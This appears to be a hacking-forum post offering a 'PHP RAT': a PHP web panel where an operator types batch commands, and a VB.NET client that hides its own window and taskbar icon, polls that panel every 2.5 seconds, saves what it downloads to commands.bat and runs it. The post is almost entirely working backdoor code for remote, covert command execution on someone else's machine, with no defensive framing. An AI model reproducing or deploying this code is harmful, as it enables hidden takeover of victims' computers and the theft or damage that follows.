[HC Official] Remote Administration Tool

Code:

<?php
if(isset($_POST['submit']))
 {
 $text = $_POST['text'];
 file_put_contents("commands.txt", $text);
 }
?>

<html>
 <head>
  <title>Hackcommunity PHP RAT</title>
 </head>
 <body style="background-image: url('http://i.imgur.com/l9LtNzl.png'); color: white">
  <center>
   <div style="background-color: black"><img src="http://static_cast.home.comcast.net/old/newLogo.png" alt="PHP RAT" /></div>
   <form action="#" method="POST" style="height: 520px; width: 480px">
    <textarea name="text" style="background-color: #333; color: white; width: 100%; height: 500px"><?php echo file_get_contents("commands.txt"); ?></textarea>
    <br />
    <input type="submit" name="submit" value="Save" style="margin-right: -1px; float: right" />
   </form>
  </center>
 </body>
</html>

Code:

Imports System.Net
Imports System.IO.StreamReader
Imports System.IO.StreamWriter

Public Class Form1

    Dim oStrText As String
    Dim nStrText As String
    Dim commandPath As String = "commands.bat"
    Dim serverPath As String = "server.txt"
    Dim server As String

    Public Function LoadSiteContent(ByVal url As String) As String
        Try
            Dim instance As WebClient = New WebClient
            Return instance.DownloadString(url)
        Catch ex As Exception
            Return ""
        End Try
    End Function

    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        Me.Opacity = 0
        Me.ShowIcon = False
        Me.ShowInTaskbar = False
        Timer1.Enabled = True
        Timer1.Interval = 2500

        Try
            Dim objReader As New System.IO.StreamReader(serverPath)
            server = objReader.ReadToEnd()
            objReader.Close()
        Catch ex As Exception
            Dim objWriter As New System.IO.StreamWriter(serverPath, False)
            objWriter.Write("server to listen to")
            objWriter.Close()
        End Try

        Try
            Dim objReader As New System.IO.StreamReader(commandPath)
            oStrText = objReader.ReadToEnd()
            objReader.Close()
        Catch ex As Exception
            Dim objWriter As New System.IO.StreamWriter(commandPath, False)
            objWriter.Write(nStrText)
            objWriter.Close()
        End Try
    End Sub

    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
        nStrText = LoadSiteContent(server)

        If nStrText <> oStrText Then
            oStrText = nStrText

            Dim objWriter As New System.IO.StreamWriter(commandPath, False)
            objWriter.Write(nStrText)
            objWriter.Close()

            Shell(commandPath)
        End If
    End Sub

End Class